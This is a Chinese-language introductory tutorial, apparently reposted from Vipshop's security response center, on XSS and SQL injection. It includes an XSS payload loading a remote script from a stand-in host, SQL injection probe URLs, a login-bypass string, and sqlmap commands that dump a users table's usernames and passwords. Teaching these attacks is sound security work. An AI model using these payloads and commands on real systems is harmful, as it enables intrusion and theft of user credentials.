技术分享Web安全之XSS与SQL注入

Posted 唯品会安全应急响应中心

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了技术分享Web安全之XSS与SQL注入相关的知识,希望对你有一定的参考价值。

又到了每周的干货分享时间!~


【技术分享】Web安全之XSS与SQL注入



VSRC感谢业界小伙伴——古月林夕投稿精品原创类文章。VSRC欢迎精品原创类文章投稿,优秀文章一旦采纳发布,将有好礼相送,我们为您准备的丰富奖品包括但不仅限于:MacbookAir、VSRC定制雨伞,VSRC定制水杯以及VSRC精美POLO衫!(活动最终解释权归VSRC所有)




【技术分享】Web安全之XSS与SQL注入
一、前言


近几年,伴随互联网的高速发展,对Web安全问题的重视也越来越高。Web应用所面临的威胁来自很多方面,其中黑客的破坏是影响最大的,黑客利用Web应用程序存在的漏洞进行非法入侵,从而破坏Web应用服务,盗取用户数据等,如何防范漏洞带来的安全威胁是一项艰巨的挑战。 

为了增强用户的交互体验,开发者们在Web应用程序中大量应用客户端脚本,使Web应用的内容与功能变得丰富有趣,然而隐藏的安全威胁随之而来,黑客们将Web攻击的思路从服务器端转向了客户端,利用客户端脚本漏洞的攻击变得越来越强大,如跨站脚本(XSS)和SQL注入成为了众多漏洞中最有针对性的攻击目标。



【技术分享】Web安全之XSS与SQL注入
二、XSS


XSS(Cross Site Scripting,跨站脚本攻击)是一类特殊的Web客户端脚本注入攻击手段,通常指攻击者通过“html注入”篡改了网页,插入恶意的脚本,从而在用户浏览网页时控制浏览器的一种攻击。 

当应用程序发送给浏览器的页面中包含用户提供的数据,而这些数据没有经过适当的转义,或者在这些内容被显示在页面之前没有验证它们都是安全的,使得输入被视为浏览器中的动态内容,就会导致存在跨站脚本漏洞。

按照“数据是否保存在服务器”,XSS被分为:反射型XSS和存储型XSS。 
反射型XSS: 
服务器未对用户请求参数做任何编码或转义处理,直接将参数作为响应的一部分输出到页面中。反射型XSS是一次性的,很容易实施钓鱼攻击,即诱使被攻击者点击某条恶意链接就可触发漏洞。 
存储型XSS: 
攻击者提供一个恶意负载输入并在后台保存一段时间,一旦用户访问含恶意程序的网页文件便形成有效攻击。富文本输入空间,都有存储型XSS的漏洞隐患,最严重可能导致XSS蠕虫。


1
简单测试脚本检测漏洞(XSS payload)
【技术分享】Web安全之XSS与SQL注入  


将payload作为用户输入参数提交测试,这些payload的目的是闭合html的标签,使浏览器弹窗。若服务器对请求参数没有过滤处理,即直接弹窗,那么包含有恶意代码的响应信息被浏览器直接解析执行,由此触发XSS漏洞,且误报率很低。

             当然有些xss漏洞隐藏较深,并不能那么容易检测到,需要构造更加强大的payload绕过一些xss简单过滤。


2

xss攻击过程


在确定可注入的xss漏洞之后,诱使用户加载一个远程脚本,如将url的提交参数改为

“><script src=http://www.xxx.com/ec.js></script>

,攻击者将真正的恶意负载写在这个远程脚本中,避免直接在url的参数里写入大量的js的代码,通过恶意脚本,进而控制用户的浏览器,达到攻击目的。



【技术分享】Web安全之XSS与SQL注入
三、SQL注入


攻击者通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。


sql注入漏洞检测

1手动注入  


a、在参数中输入一个单引号”’”,引起执行查询语句的语法错误,得到服务器的错误回显,从而判断服务器的数据库类型信息。 根据数据库类型构造sql注入语句。 
例如一个get方式的url[ 
http://www.xxx.com/abc.asp?p=YY 
修改p的参数值
http://www.xxx.com/abc.asp?p=YY and user>0 ,就可以判断是否是SQL-SERVER,而还可以得到当前连接到数据库的用户名。 
http://www.xxx.com/abc.asp?p=YY&n … db_name()>0 不仅可以判断是否是SQL-SERVER,而还可以得到当前正在使用的数据库名 。
         b、盲注,大部分时候web服务器关闭了错误回显。 
http://www.xxx.com/abc.asp?p=1 and 1=2 sql命令不成立,结果为空或出错 ;
http://www.xxx.com/abc.asp?p=1 and 1=1 sql命令成立,结果正常返回 。
两个测试成功后,可以判断负载的sql被执行,存在sql注入漏洞。

手动注入网站示例。登录密码(‘or’1’=‘1)并成功进入管理后台。


【技术分享】Web安全之XSS与SQL注入



【技术分享】Web安全之XSS与SQL注入


2自动化工具检测注入


SQLmap–检测与利用SQL注入漏洞的免费开源工具 
sqlmap.py –u 【指定url 】 –cookie –dbs //列出数据库 
sqlmap.py –u 【指定url 】 - D 【数据库名】- -tables //列出某个库的数据表 
sqlmap.py –u 【指定url 】 -D 【数据库名】-T 【数据表名】 –columns //列出数据表的列名 
sqlmap.py –u 【指定url 】 -D dvwa -T users-C user,password –dump //把用户名密码列出来(sqlmap自动破解密码) 
 某网站拖库示例 


【技术分享】Web安全之XSS与SQL注入




四、END







精彩原创文章投稿有惊喜!

欢迎投稿!

VSRC欢迎精品原创类文章投稿,优秀文章一旦采纳发布,将有好礼相送,我们为您准备的丰富奖品包括但不仅限于:MacbookAir、VSRC定制雨伞,VSRC定制水杯以及VSRC精美POLO衫(活动最终解释权归VSRC所有)


我们聆听您宝贵建议


不知道,大家都喜欢阅读哪些类型的信息安全文章?

不知道,大家都希望我们更新关于哪些主题的干货?

精彩留言互动的热心用户,将有机会获得VSRC赠送的精美奖品一份!

同时,我们也会根据大家反馈的建议,选取热门话题,进行原创发布!






点击阅读原文进入   唯品会风控系统的进化之路




以上是关于技术分享Web安全之XSS与SQL注入的主要内容,如果未能解决你的问题,请参考以下文章

HTML5技术分享 浅谈前端安全以及如何防范

2019-2020-2 20175326 李一潇《网络对抗技术》Exp9 Web安全基础

2019-2020-2 20175326 李一潇《网络对抗技术》Exp9 Web安全基础

2019-2020-2 20175315陈煜扬《网络对抗技术》 Exp9 Web安全基础

2019-2020-2 20175315陈煜扬《网络对抗技术》 Exp9 Web安全基础

小白科普Web安全基础之SQL注入XSS文件上传漏洞详解